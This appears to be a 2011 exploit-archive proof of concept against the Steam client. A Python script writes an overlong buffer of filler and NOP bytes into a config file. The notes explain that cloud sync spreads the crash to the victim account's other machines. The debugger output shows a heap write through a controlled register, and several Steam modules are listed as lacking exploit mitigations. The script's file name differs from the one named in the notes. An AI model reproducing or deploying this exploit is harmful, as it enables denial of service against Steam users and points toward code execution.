Steam Software Denial of Service Vulnerability

# Exploit Title: Steam Cloud Denial of Service 0day
# Date: 06042011
# Author: david.r.klein \x0agmail\x0acom
# Software Link: http://steampowered.com
# Version: Steam - Latest
# Tested on: Windows XP/2003, Windows7
# CVE : NA
#
# Notes: Copy file to C:\Program Files\Steam\userdata\<acctnums>\remote\sharedconfig.vdf
# Run Steam.exe and let the program crash. Steam will Sync your config to your account before he crash occurs
# Log in on a seperate computer with the same account and watch steam die.
#

test = "A" * 32776
test2= "BBBB" * 8
test2+="ZZZZ" * 8
test2+="\x90" * 32

f = open('serverbrowser_ui.vdf', 'w')
f.write(test + test2)
f.close()

# (78c.bf0): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=02c915b0 ebx=000025d5 ecx=42424242 edx=01697b28 esi=02c915a8 edi=00eb0000
# eip=7c91240b esp=0012d188 ebp=0012d1a0 iopl=0         nv up ei ng nz na pe cy
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210287
# ntdll!RtlpInsertFreeBlock+0x10d:
# 7c91240b 8901            mov     dword ptr [ecx],eax  ds:0023:42424242=????????
#
# 0:000> d edx
# 01697b28  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
# 01697b38  5a 5a 5a 5a 5a 5a 5a 5a-5a 5a 5a 5a 5a 5a 5a 5a  ZZZZZZZZZZZZZZZZ
# 01697b48  5a 5a 5a 5a 5a 5a 5a 5a-5a 5a 5a 5a 5a 5a 5a 5a  ZZZZZZZZZZZZZZZZ
# 01697b58  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
# 01697b68  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
# 01697b78  00 fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe  ................
#
#
# None of the below have aslr \ dep \ safeseh
# ModLoad: 3a000000 3a363000   C:\Program Files\Steam\SteamUI.dll
# ModLoad: 3f000000 3f0ad000   C:\Program Files\Steam\tier0_s.dll
# ModLoad: 3f600000 3f66e000   C:\Program Files\Steam\vstdlib_s.dll
# ModLoad: 10000000 100af000   C:\Program Files\Steam\crashhandler.dll
# ModLoad: 3fa00000 3fa32000   C:\Program Files\Steam\bin\FileSystem_Steam.dll
# ModLoad: 3f200000 3f2a2000   C:\Program Files\Steam\bin\vgui2.dll
# ModLoad: 04120000 04e06000   C:\Program Files\Steam\bin\libcef.dll